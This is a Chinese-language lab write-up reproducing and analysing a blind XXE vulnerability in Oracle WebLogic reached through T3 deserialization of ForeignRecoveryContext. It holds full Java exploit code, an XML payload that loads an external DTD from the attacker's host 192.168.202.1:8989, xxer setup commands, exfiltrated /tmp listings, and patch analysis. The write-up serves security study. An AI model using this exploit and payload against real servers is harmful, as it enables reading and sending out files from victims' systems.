weblogic之XXE利用與分析
本篇文章漏洞環境使用p神的CVE-2018-2628
本機IP:192.168.202.1
被攻擊主機IP:192.168.202.129
一、 xxer工具
1.1 簡介
xxer能快速搭建起xxe的盲注環境,下載地址:https://github.com/TheTwitchy/xxer
工具使用python2啟動,-h可查看幫助信息
C:\Users\asus\Desktop\xxer-master>python2 xxer.py -h
usage: xxer [-h] [-v] [-q] [-p HTTP] [-P FTP] -H HOSTNAME [-d DTD]
XXE Injection Handler
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
-q, --quiet surpress extra output
-p HTTP, --http HTTP HTTP server port
-P FTP, --ftp FTP FTP server port
-H HOSTNAME, --hostname HOSTNAME
Hostname of this server
-d DTD, --dtd DTD the location of the DTD template. client_file
templates allow the filename to be specified by the
XXE payload instead of restarting the server
Originally from https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-
server.rb, rewritten in Python by TheTwitchy
可以指定端口號,DTD模板等。其中DTD模板格式為工具目錄下的ftp.dtd.template

默認是查看/tmp目錄下的內容,可以修改為具體的文件

運行工具后會生成ext.dtd

1.2 使用示例
使用python2啟動xxer,指定http端口號為8989,本機地址為192.168.202.1
python2 xxer.py -p 8989 -H 192.168.202.1

如圖,啟動了http和ftp端口分別為8989與2121,並且生成了xml的payload
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://192.168.202.1:8989/ext.dtd">%aaa;%ccc;%ddd;]>
二、漏洞復現
環境配置
新建項目,JKD版本選擇1.6.0_45,需要導入weblogic中的jar包,不然exp會缺少依賴包
- Middleware/wlserver_10.3/modules
- Middleware/wlserver_10.3/server/lib
- Middleware/modules目錄

新建一個WeblogicXXE1.java,使用weblogic.wsee.wstx.internal.ForeignRecoveryContext類作為利用點
import weblogic.wsee.wstx.wsat.Transactional;
import java.lang.reflect.Field;
import javax.transaction.xa.Xid;
import javax.xml.transform.Result;
import javax.xml.transform.stream.StreamResult;
import javax.xml.ws.EndpointReference;
import java.io.*;
public class WeblogicXXE1 {
public static void main(String[] args) throws IOException {
Object instance = getXXEObject();
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
out.writeObject(instance);
out.flush();
out.close();
}
public static class MyEndpointReference extends EndpointReference{
@Override
public void writeTo(Result result) {
byte[] tmpbytes = new byte[4096];
int nRead;
try{
InputStream is = new FileInputStream(new File("./test.xml"));
while((nRead=is.read(tmpbytes,0,tmpbytes.length)) != -1){
((StreamResult)result).getOutputStream().write(tmpbytes,0,nRead);
}
}catch (Exception e){
e.printStackTrace();
}
}
}
public static Object getXXEObject() {
int klassVersion = 1032;
Xid xid = new weblogic.transaction.internal.XidImpl();
Transactional.Version v = Transactional.Version.DEFAULT;
byte[] tid = new byte[]{65};
weblogic.wsee.wstx.internal.ForeignRecoveryContext frc = new weblogic.wsee.wstx.internal.ForeignRecoveryContext();
try{
Field f = frc.getClass().getDeclaredField("fxid");
f.setAccessible(true);
f.set(frc,xid);
Field f1 = frc.getClass().getDeclaredField("epr");
f1.setAccessible(true);
f1.set(frc,(EndpointReference)new MyEndpointReference());
Field f2 = frc.getClass().getDeclaredField("version");
f2.setAccessible(true);
f2.set(frc,v);
}catch(Exception e){
e.printStackTrace();
}
return frc;
}
}
重點在於代碼中的test.xml,這里使用了xxer工具生成的xml
python2 xxer.py -p 8989 -H 192.168.202.1

復制xml到D:/test.xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://192.168.202.1:8989/ext.dtd">%aaa;%ccc;%ddd;]>
注意修改WeblogicXXE1中的文件地址

運行java文件即可生成XXE文件

如果出現報錯:Error running 'WeblogicXXE1': Command line is too long. Shorten command line for WeblogicXXE1 or also for Application default configuration?

解決方法:找到項目下的.idea/workspace.xml,在標簽<component name="PropertiesComponent">里添加一行屬性:<property name="dynamic.classpath" value="true" />
<component name="PropertiesComponent">
其它屬性不改
<property name="dynamic.classpath" value="true" />
</component>
漏洞復現
利用xxer開啟http及ftp服務:
python2 xxer.py -p 8989 -H 192.168.202.1

使用weblogic.py發送之前生成的xxe

這邊xxer就會收到服務器返回的內容

第一個框框就是tmp目錄下的文件(pass后面的參數,以單引號作為分隔)
'PASS 1.txt
bea1061393648233859820.tmp
cookie.txt
hsperfdata_root
packages
wlstTemproot'
第二個箭頭指的就是內網的ip:172.20.0.2
可以修改ext.dtd中的file://來指定讀取的文件

讀取到了yangyang

三、漏洞分析
ForeignRecoveryContext這個類就是上面漏洞復現使用的解析類,入口點在readExternal方法,T3協議反序列化后執行到ForeignRecoveryContext#readExternal,在readExternal方法中調用了EndpointReference.readFrom

跟進EndpointReference.readFrom方法

繼續跟進readEndpointReference方法,此方法中調用了Unmarshaller#unmarshal並傳入了xml的流對象進行處理,

雖然Unmarshaller在JDK8及以上是默認禁止加載外部DTD的,而此處的weblogic環境java版本為1.6.0_45,所以存在漏洞。導致解析了xml后加載了外部DTD造成XXE攻擊。

修復后,補丁新加了WSATStreamHelper#convert方法來處理,WSATStreamHelper#convert方法中對xxe做了相應的防護

WSATStreamHelper#convert的防護代碼

還有其他的幾個類也導致了XXE,原理都大致相同,這里就不進行分析了。具體可以看這幾篇文章:
https://blog.csdn.net/qq_43380549/article/details/100130730
https://www.cnblogs.com/tr1ple/p/12522623.html#Yy5ZjKt6
參考:
